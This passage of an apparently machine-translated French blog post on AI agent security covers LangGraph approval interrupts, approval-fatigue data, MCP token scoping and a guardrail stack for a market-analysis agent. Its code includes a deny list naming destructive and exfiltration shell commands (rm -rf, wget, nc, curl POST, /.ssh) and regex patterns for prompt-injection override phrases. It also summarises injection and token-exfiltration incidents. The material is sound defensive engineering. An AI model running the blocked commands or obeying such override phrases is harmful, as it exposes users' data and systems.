« Lorsque l’exécution reprend (après que vous ayez fourni les données d’entrée demandées), le runtime redémarre tout le nœud depuis le début — il ne reprend pas à la ligne précise où il s’était arrêté » interrupt a été désigné ainsi.

Trois contraintes découlent de ce comportement de redémarrage :

1. Effets secondaires avant interrupt() Il doit être idempotent. Lorsque l’utilisateur répond, tout le nœud est exécuté à nouveau depuis le début, et non à partir de interrupt() Ligne. Ainsi, si votre nœud envoie un e-mail, attend une validation, puis indique « envoyé », l’e-mail est renvoyé une deuxième fois lors de la reprise. Correction : placer les effets secondaires après l’interruption, ou les rendre répétables sans risque (dédupliquer les clés, utiliser des opérations upsert au lieu d’insert, stocker en cache par identifiant de message).

2. Les interruptions correspondent aux reprises par indice, et non par nom. Si un seul nœud possède deux interrupt() appels, LangGraph les associe à Command(resume=...) Les valeurs dans l’ordre où elles sont générées. Toute branche qui modifie le nombre d’interruptions exécutées (un if Un saut d’un élément dans le résumé, c’est‑à‑dire une boucle qui s’exécute un nombre différent de fois, provoquera un désalignement des indices et entraînera une panne du système.

3. Les charges utiles doivent être JSON-serialisables. Cette pause est enregistrée dans un checkpointer (Postgres, Redis, SQLite) afin que l’agent puisse survivre à une redémarrage de processus. Les objets Python bruts, datetime, set, classes personnalisées : pas de allers-retours inutiles. Convertissez-les en dictionnaires et en types primitifs avant de transmettre quoi que ce soit à interrupt().

Les trois modèles canoniques :

# (a) Approval gate
@tool
def send_email(to, subject, body):
    resp = interrupt({"action": "send_email", "to": to,
                      "subject": subject, "body": body})
    if resp.get("action") == "approve":
        return smtp_send(to, subject, body)
    return "Email cancelled"

# (b) Edit-and-continue
def review_node(state):
    edited = interrupt({"content": state["generated_text"]})
    return {"generated_text": edited}

# (c) Mid-run state correction — loop until valid
def get_age_node(state):
    prompt = "What is your age?"
    while True:
        answer = interrupt(prompt)
        if isinstance(answer, int) and answer > 0:
            return {"age": answer}
        prompt = f"'{answer}' is not valid. Please enter a positive number."

Le résumé est graph.invoke(Command(resume={"action": "approve"}), config=cfg). LangGraph 0.4+ prend en charge la reprise multi‑interruption basée sur des dictionnaires pour les branches parallèles, ce qui est essentiel dès que votre agent se divise en plusieurs flux.

HumanLayer : l’approbation en tant que produit

HumanLayer Il s’agit de la version gérée de la même approche. Il suffit de décorer une fonction, et les demandes d’approbation sont redirigées vers Slack, e‑mail ou Discord, selon des règles définissant qui doit être contacté. Lorsque l’agent tente d’appeler multiply(2, 5), les journaux ont l’aspect suivant :

last message led to 1 tool calls: [('multiply', '{"x":2,"y":5}')]
HumanLayer: waiting for approval for multiply

L’approbateur clique sur « Approver » ou « Deny » dans Slack. En cas de refus, la documentation de HumanLayer le formule ainsi : « HumanLayer transmettra vos retours à l’agent, qui pourra alors ajuster sa stratégie. » C’est précisément ce dernier élément qui distingue un véritable niveau HITL d’un simple dialogue de confirmation. L’être humain devient ainsi un signal que l’agent prend en compte au sein du même cycle, plutôt qu’une étape ne connaissant que des réponses oui ou non.

Fatigue d’approbation dans les données

Anthropic a publié les données réelles dans Février 2026. Trois constats revêtent une importance supérieure aux autres.

« Nous avons constaté que 80 % des tool calls proviennent d’agents disposant d’au moins un mécanisme de protection (tel que des permissions restreintes ou des exigences de validation humaine), que 73 % impliquent d’une manière ou d’une autre une intervention humaine, et que seuls 0,8 % des actions semblent être irréversibles. »

C’est une bonne nouvelle. Considérez 80 % comme une valeur maximale, car la note de bas de page 14 d’Anthropic précise que « Claude surestime souvent le niveau d’intervention humaine ; nous estimons donc que 80 % constitue une limite supérieure. »

« Les utilisateurs plus récents (< 50 sessions) recourent à l’approbation automatique totale dans environ 20 % des cas ; à 750 sessions, ce taux monte à plus de 40 % des sessions. »

Il s’agit du phénomène de dérive. Les utilisateurs deviennent prudents au début. Ils perdent progressivement cette prudence à mesure qu’ils développent une confiance envers l’outil. C’est un comportement typique des humains. Il ne s’agit pas d’un défaut de caractère, mais plutôt d’un signal de télémétrie que votre système doit prendre en compte. (Une petite précision : de nombreuses sources citent ce chiffre comme « 20 % → plus de 50 % ». Cependant, selon les données principales d’Anthropic, le chiffre vérifié est bien 20 % → plus de 40 %. Si vous avez vu la valeur de 50 %, c’est là que provient cette information et c’est la raison pour laquelle elle est mentionnée.)

Anthropic’s Février 2026 L’article technique concernant le mode automatique de Claude Code indique le nombre clé :

« Les utilisateurs de Claude Code approuvent 93 % des demandes de permissions prompts. Nous avons développé des classificateurs afin d’automatiser certaines décisions, ce qui améliore la sécurité tout en réduisant la fatigue liée aux approbations… Lorsqu’une session accumule 3 refus consécutifs ou un total de 20 refus, le modèle est arrêté et la gestion est transférée à un intervenant humain. »

93 % d’approbation constitue le signal clé. Lorsqu’un dialogue est approuvé neuf fois sur dix, il ne représente plus un mécanisme de sécurité fiable ; il s’agit alors de données telemétriques. Les utilisateurs ont appris à l’ignorer en cliquant dessus. La réponse d’Anthropic repose sur une architecture en deux étapes : un filtre rapide basé sur un seul token, suivi de l’application de chain-of-thought uniquement en cas de détection, avec un taux de faux positifs de 0,4 %. Ce système supprime les approbations prompts pour les actions à faible risque et _arrête complètement la boucle* si des refus se regroupent.

Évaluer la qualité de l’escalade

Routine d’allowlist : exécuter des actions réversibles et en enregistrer les traces. Il convient d’escalader les actions dont les effets secondaires dépassent une limite que le runtime ne peut pas annuler, comme l’envoi d’un message externe, une écriture en environnement de production, une mise à jour forcée, ou un paiement. Anthropic définit cet objectif comme permettant à un humain d’intervenir lorsque la décision a des conséquences réelles.

Suivez l’ensemble du funnel plutôt que de viser un objectif de taux d’approbation artificiellement fixé : les actions proposées, les autorisations automatiques, les escalades, les approbations, les refus, les modifications ainsi que les incidents survenant après approbation. Un taux d’approbation élevé peut indiquer que les prompts ne représentent que du bruit habituel. Un taux élevé de refus ou de modification peut signifier que le planificateur propose la mauvaise action ou cache les informations nécessaires à l’approbateur. Le seuil pertinent dépend de la catégorie de l’action et du coût d’une autorisation erronée ; il convient donc de le déterminer en se basant sur ses propres données d’incidents et d’analyses.

MCP du cadrage et de la chaîne d’approvisionnement

MCP permet de relier des agents à des outils externes tels que Slack, GitHub et des bases de données, ce qui fait du modèle d’autorisation associé une composante intégrante de la barrière de sécurité. Les mises à jour de la spécification de 2025 ont séparé les rôles d’émetteur de tokens et de serveur de ressources, tout en ajoutant des indicateurs de ressources. Cet historique explique quelles vérifications d’audience et de redirection un serveur doit aujourd’hui mettre en œuvre.

Autorisation MCP en trois versions

Le spécification du 26/03/2025 L’OAuth 2.1 obligatoire avec PKCE constitue bien le flux standard pour les clients publics. Cette partie est correcte, mais la spécification présentait une lacune subtile et dangereuse : elle confondait deux rôles très distincts que peut jouer un MCP serveur, à savoir le serveur d’autorisation (Authorization Server, AS), qui émet les tokens, et le serveur de ressource (Resource Server, RS), qui les accepte. Lorsque le même serveur peut assumer ces deux fonctions, un client pourrait transmettre un token au serveur A ; si ce dernier redirige la requête vers le serveur B, les mêmes identifiants se retrouvent alors ailleurs qu’ils ne devraient jamais aller. C’est là l’ouverture de sécurité.

La version du 18/06/2025 a séparé ces rôles. Un serveur MCP agit en tant que serveur de ressources OAuth, tandis qu’un serveur d’autorisation externe émet le jeton. Les indicateurs de ressources RFC 8707 lient le jeton à une ressource cible, et les métadonnées de ressources protégées RFC 9728 fournissent au client un chemin de découverte explicite. La spécification interdit également à un serveur MCP de rediriger le jeton d’un client vers un niveau hiérarchique supérieur.

Le verrouillage de l’audience limite les tentatives de rejouement vers le mauvais serveur MCP. Cela ne neutralise pas le reste de la chaîne d’attaque Claude Code décrite précédemment : un crochet côté hôte peut toujours s’exécuter avant que le modèle ne démarre, et un projet non fiable peut toujours tenter de modifier la configuration locale. La portée des tokens, la confiance accordée aux projets, la politique des crochets ainsi que le sandboxing restent des mécanismes de contrôle distincts.

La liste de contrôle pour 2026 MCP

Si vous déploiez ou utilisez MCP en environnement de production :

1. L’authentification n’est pas optionnelle. La vulnérabilité CVE du serveur Azure MCP manquait de mécanisme d’authentification. Si votre serveur accepte du trafic sans vérifier un jeton, vous créez un outil que tout attaquant sur le même réseau peut exploiter.
2. Les jetons sont liés à un public spécifique. Demandez un jeton pour la ressource MCP cible et validez que le jeton présenté est reconnu par votre serveur comme appartenant à ce public. Rejetez les jetons émis pour une autre ressource.
3. Accordez à chaque outil uniquement les permissions dont il a réellement besoin. Les permissions résident sur le serveur, et non dans l’outil — donc si un serveur Slack MCP reçoit l’autorisation de publier des messages (chat:write), chaque outil Slack présent sur ce serveur en hérite, y compris ceux qui ne devraient effectuer que des opérations de lecture. Séparez-les en serveurs distincts lorsque c’est possible, afin qu’un bug dans un outil ne puisse pas exploiter discrètement des permissions dont il n’avait jamais besoin.
4. Utilisez des tokens frais et à durée de vie courte plutôt que des clés API permanentes. Le modèle de coffre-fort des Claude Managed Agents (Ingénierie Anthropic) La référence est la suivante : l’agent lui‑même ne voit jamais les identifiants réels. Un service intermédiaire les stocke, récupère un jeton frais au moment où une outil est appelé, l’utilise au nom de l’agent, et ne renvoie que le résultat.

Les contrôles de la chaîne d’approvisionnement restent en vigueur

Les incidents axios et Trivy représentent des défaillances courantes du cycle de vie des paquets ainsi que de l’infrastructure CI, affectant les systèmes chargés d’automatiser l’installation des dépendances. L’automatisation augmente le nombre et la fréquence d’exécution, ce qui exige que des contrôles de version, de provenance et d’évaluation soient appliqués avant que la commande générée n’atteigne l’environnement CI ou un sandbox.

La défense est simple :

• Fixer les versions dans le fichier de verrouillage. Les agents ne doivent pas --latest.
• Effectuer le scan en CI à l’aide d’outils indépendants de la composante à vérifier.
• Utiliser les SHAs des commits GitHub pour Actions, et non des tags.
• Examiner les différences de dépendances dans les PR pilotés par un agent avant fusion.

Il s’agit de contrôles standards de la chaîne d’approvisionnement. L’automatisation par des agents modifie leur fréquence, mais pas leur mécanisme.

Une pile de protection pour l’agent Analyste de marché

Le Agent d’analyse de marché de Partie 1 Il s’agit d’un petit agent LangGraph. Il récupère des données de marché, résume des recherches, et ne doit pas lancer de commandes shell, écrire en dehors de son espace de travail, ni exfiltrer quoi que ce soit. Voici à quoi ressemble une pile minimale de gardiennes pour lui.

Couche 1 : un crochet PreToolUse basé sur une liste de refus

Même un agent qui « ne fait que lire des données boursières » peut accéder à des éléments auxquels il n’a pas le droit : un curl vers une URL contrôlée par un attaquant, écrit en dehors de l’espace de travail, git Des mutations dans le dépôt hôte. Une règle de refus relève de l’infrastructure, et non de prompt.

# agent/permissions.py
DENY_COMMANDS = frozenset({
    "rm -rf", "sudo", "chmod 777",
    "curl -X POST", "wget", "nc ",
})
DENY_PATHS = ("/", "/etc", "/Users", "/.ssh")

def pre_tool_use(tool_name: str, args: dict) -> dict | None:
    if tool_name == "shell":
        cmd = args.get("command", "")
        if any(bad in cmd for bad in DENY_COMMANDS):
            return {"permissionDecision": "deny",
                    "reason": f"command pattern disallowed: {cmd!r}"}
    if tool_name == "write_file":
        path = args.get("path", "")
        if any(path.startswith(p) for p in DENY_PATHS):
            return {"permissionDecision": "deny",
                    "reason": f"path outside workspace: {path!r}"}
    return None  # fall through to mode / canUseTool

Ce schéma rend le point de contrôle visible : le crochet renvoie une réponse de refus structurée, et le reasoning loop reçoit cette réponse sous forme d’observation issue de l’outil. La correspondance par sous-chaîne n’est pas une politique prévue par le shell de production. Une implémentation réelle doit parser les commandes, résoudre les chemins avant toute comparaison, utiliser des listes d’autorisation lorsque c’est possible, et s’appuyer sur le sandbox du système d’exploitation lorsque la commande est prête à être exécutée.

Couche 2 : un canari d’entrée pour prompt injection

L’usurpation d’objectif par un agent (ASI01) survient fréquemment à travers une page web récupérée, un message utilisateur ou un PDF de papier de recherche. Un indicateur basé sur des regex simples permet de détecter les schémas d’instructions littérales et de générer un événement de telemétrie utile. Cependant, il échoue à identifier les injections obscurcies, multilingues ou dépendantes du contexte, ce qui l’empêche de servir de limite décisionnelle :

# agent/input_canary.py
import re

INJECTION_PATTERNS = [
    re.compile(r"ignore (previous|all|prior) (instructions|rules)",
               re.IGNORECASE),
    re.compile(r"you are now|act as|roleplay as", re.IGNORECASE),
    re.compile(r"system[ _:]*prompt", re.IGNORECASE),
    re.compile(r"<\|im_(start|end)\|>"),
]

def input_canary(text: str) -> dict | None:
    for pat in INJECTION_PATTERNS:
        m = pat.search(text)
        if m:
            return {"flag": "possible_injection", "match": m.group(0)}
    return None

Enregistrez les entrées marquées ; ne les rejetez pas automatiquement. Les faux positifs de ce type sont coûteux pour un assistant de recherche. C’est cependant le journal qui vous permet de détecter rapidement une augmentation soudaine du nombre de marquages provenant d’un même utilisateur.

Couche 3 : validation de structured output au moyen d’un hook d’arrêt

Un modèle Pydantic ainsi qu’un Stop hook vous permet d’implémenter un cycle strict de validation suivie de tentative de réessai pour la génération de rapports. L’agent ne peut pas déclarer le travail « terminé » tant que la sortie n’a pas réussi la validation selon le schéma ainsi qu’un test de base :

# agent/stop_hook.py
from pydantic import ValidationError
from agent.schemas import MarketReport

def on_stop(final_output: str) -> dict:
    try:
        report = MarketReport.model_validate_json(final_output)
    except ValidationError as e:
        return {"decision": "continue",
                "feedback": f"schema invalid: {e.errors()[:3]}"}
    if not report.tickers:
        return {"decision": "continue",
                "feedback": "no tickers in report — did you skip the snapshot step?"}
    return {"decision": "allow_stop"}

Trois lignes de validation du schéma ainsi qu’un test de fonctionnement de base suffisent à faire la différence entre « l’agent affirme que la tâche est terminée » et « le résultat produit est réellement un rapport ». Il s’agit d’une assurance peu coûteuse.

Couche 4 : une porte d’interruption pour les actions sortantes

L’analyste de marché ne doit en aucun cas envoyer d’e-mail ou publier un message sur Slack. Cependant, s’il dispose un jour d’un outil permettant de le faire, cet outil est alors encapsulé dans interrupt():

# agent/tools/notify.py
from langgraph.types import interrupt

@tool
def send_report(to: str, body: str):
    resp = interrupt({
        "action": "send_report",
        "to": to,
        "body_preview": body[:400],
    })
    if resp.get("action") == "approve":
        return smtp_send(to, body)
    return "send cancelled by human"

Les actions sortantes complètent la triade létale. Il convient de les filtrer explicitement lorsque la destination ou le contenu dépassent le rayon d’action habituel de l’agent. Les messages destinés aux services financiers, aux clients ou à des destinataires externes doivent inclure suffisamment d’informations préliminaires et de données de provenance afin que l’approbateur comprenne ce qui sera envoyé.

Ce que cette pile ne fait pas

Les limites sont cruciales. Il ne s’agit pas d’une protection contre :

• Une dépendance en amont compromise (axios-class). L’agent exécute ce que uv sync indique d’exécuter. – Un malveillant .mcp.json Dans un répertoire cloné de la catégorie CVE-2025-59536-class, c’est le modèle de permissions du client MCP hôte qui constitue le point de blocage, et non le code de l’agent lui-même. – Une chaîne de vol de données réalisée à l’aide d’outils légitimes de type EchoLeak-class : l’agent lit des données privées, il récupère des URL externes, et il envoie des messages. Il est impératif d’appliquer le principe du « trifecta » : il ne faut absolument pas combiner ces trois fonctionnalités.

Ces hooks constituent la couche de politique locale. Partie 5 Il indique l’endroit où le sandbox, c’est‑à‑dire le broker secret, le checkpoint, ainsi que les traces d’audit sont disponibles pendant une exécution de longue durée. La partie 6 se penchera à l’intérieur du harness pour examiner comment les vérifications d’acceptation, les tentatives de réessai et l’évaluation basée sur les traces empêchent le cycle de déclarer un succès prématurément.

Principaux enseignements

1. Les filtres de contenu et la politique d’exécution protègent des domaines distincts. Les filtres analysent les entrées et les sorties du modèle. L’autorisation des outils, la portée des identifiants, sandboxes, ainsi que les contrôles de la chaîne d’approvisionnement interviennent sur les parcours utilisés lors des six incidents.
2. La plupart des catégories OWASP ASI exigent des mécanismes de contrôle en dehors de la sortie du modèle. Utilisez cette liste pour associer chaque menace au composant capable de la bloquer ou de l’enregistrer réellement.
3. Les permissions font partie de l’infrastructure, et non de prompt. Claude Code évalue les règles de refus, les règles de demande, les hooks PreToolUse, les règles d’autorisation, le mode ainsi que les callbacks dans un ordre prédéfini. D’autres environnements d’exécution nécessitent également un modèle de priorité facilement testable.
4. Considérez le refus structuré généré par un hook PreToolUse comme une simple observation concernant l’outil. Le reasoning loop s’en charge déjà ; il n’est donc pas nécessaire de mettre en place un flux de travail de sécurité séparé.
5. Un taux d’approbation de 93 % est un indicateur permettant d’examiner la qualité de prompt ainsi que la fréquence des escalades. Suivez les modifications, les refus et les incidents survenus après approbation, plutôt que de vous fixer sur une cible universelle.
6. Les jetons liés à un public spécifique et les coffres-forts par session limitent la réutilisation et la divulgation des identifiants. Ils ne remplacent pas la confiance au niveau du projet, la politique des hooks ni le confinement dans un environnement sandbox.
7. Les vérifications de la chaîne d’approvisionnement doivent s’exécuter à la vitesse de l’automatisation. Fixez les versions et les SHA des Actions, effectuez des scans dans le cadre des processus CI, et examinez les modifications des dépendances dans les demandes de pull générées par les agents.
8. Construisez la couche de politique afin qu’un nouveau lancement de produit ne la rende pas invalide. OpenAI Agents SDK, Codex CLI et Claude Code expriment ces mêmes primitives de manières différentes. Ce sont ces primitives (échelons de permissions, hooks, sandboxes, interruptions, tokens ciblés par un public spécifique) qui constituent le fondement sur lequel vous construisez votre solution.

Références

Les cadres de travail

• Bharani Subramaniam et Martin Fowler, Modèles émergents dans la conception de produits d’IA générative.
• Simon Willison, La triade fatale pour les agents AI, 16 juin 2025.
• Joel Fokou, Parallax : une architecture fondée sur des principes pour des Agentic AI sûrs, arXiv 2604.12986, 14 avril 2026 (non soumis à révision par des pairs).
• Alessandro Pignati, Votre agent AI dispose d’un pouvoir excessif : comprendre et maîtriser une agence trop importante, Janvier 2026.

LLM produits de protection

• NVIDIA NeMo Guardrails
• Meta Llama Guard 4
• Contraintes de sécurité AI
• Lakera Guard
• AWS Bedrock Guardrails
• Azure Content Safety : Prompt Shields
• openai-guardrails-python

Incidents

• Itay Ravia (anciennement Aim Labs, aujourd’hui Cato Networks), Décomposition d’EchoLeak (CVE-2025-32711).
• AWS, Alerte de sécurité pour Amazon Q Developer VS Code v1.84.0 (CVE-2025-8217).
• Microsoft, Serveur Azure MCP (CVE-2026-32211).
• Check Point Research, Exfiltration de RCE ainsi que de tokens API via les fichiers de projet de Claude Code (CVE-2025-59536).
• axios, v1.14.1 / v0.30.4 : analyse post-mortem du compromis.
• Aqua Security, Accaparement de la balise Trivy Actions (GHSA-69fq-xp46-6x23).

Interfaces de politique

• OpenAI Agents SDK — documentation des outils MCP
• Configuration gérée par Codex CLI
• Modes d’autorisation de Claude Code
• Sandboxing de Claude Code
• Agents gérés Claude

HITL

• Les documents d’interruption de LangGraph
• Guide de démarrage rapide pour HumanLayer en Python
• Anthropic, Mesurer l’autonomie des agents AI en pratique, 18 février 2026.
• Anthropic, Mode automatique de Claude Code, 25 mars 2026.
• Jackson Wells (Galileo), Comment mettre en place une supervision Human-in-the-Loop pour les agents AI en production, 21 décembre 2025.

OWASP

• Initiative de sécurité OWASP Agentic, Les 10 meilleures applications Agentic pour 2026, 9 décembre 2025.

Série

• Partie 1 : AI Boucles de raisonnement d’agent en 2026 — ReAct, ReWOO, ainsi que le modèle Plan-and-Execute. Partie 2 : AI L’architecture de mémoire des agents en 2026 — checkpoints, les bases de données vectorielles et la mémoire de documents.
• Partie 3 : AI Agent Tool Use en 2026 — MCP, CLI, compétences, exécution de code, et ACI.
• Partie 4 : AI Sécurité des agents en 2026 (cet article)
• Partie 5 : Agents AI à exécution prolongée Runtime en 2026 — les sessions, sandboxes, checkpoints, les mécanismes d’exploitation et les schémas de déploiement.
• Partie 6 : Harness Engineering pour les agents AI (à venir) — les vérifications d’acceptation, les traces, les tentatives de répétition, les transferts de responsabilités, ainsi que le cycle associé au modèle.

Le code de l’agent Analyste de marché (le crochet de déni PreToolUse, le canari d’entrée, le validateur de crochet Stop et la porte d’interruption décrits ci-dessus) est disponible sur GitHub._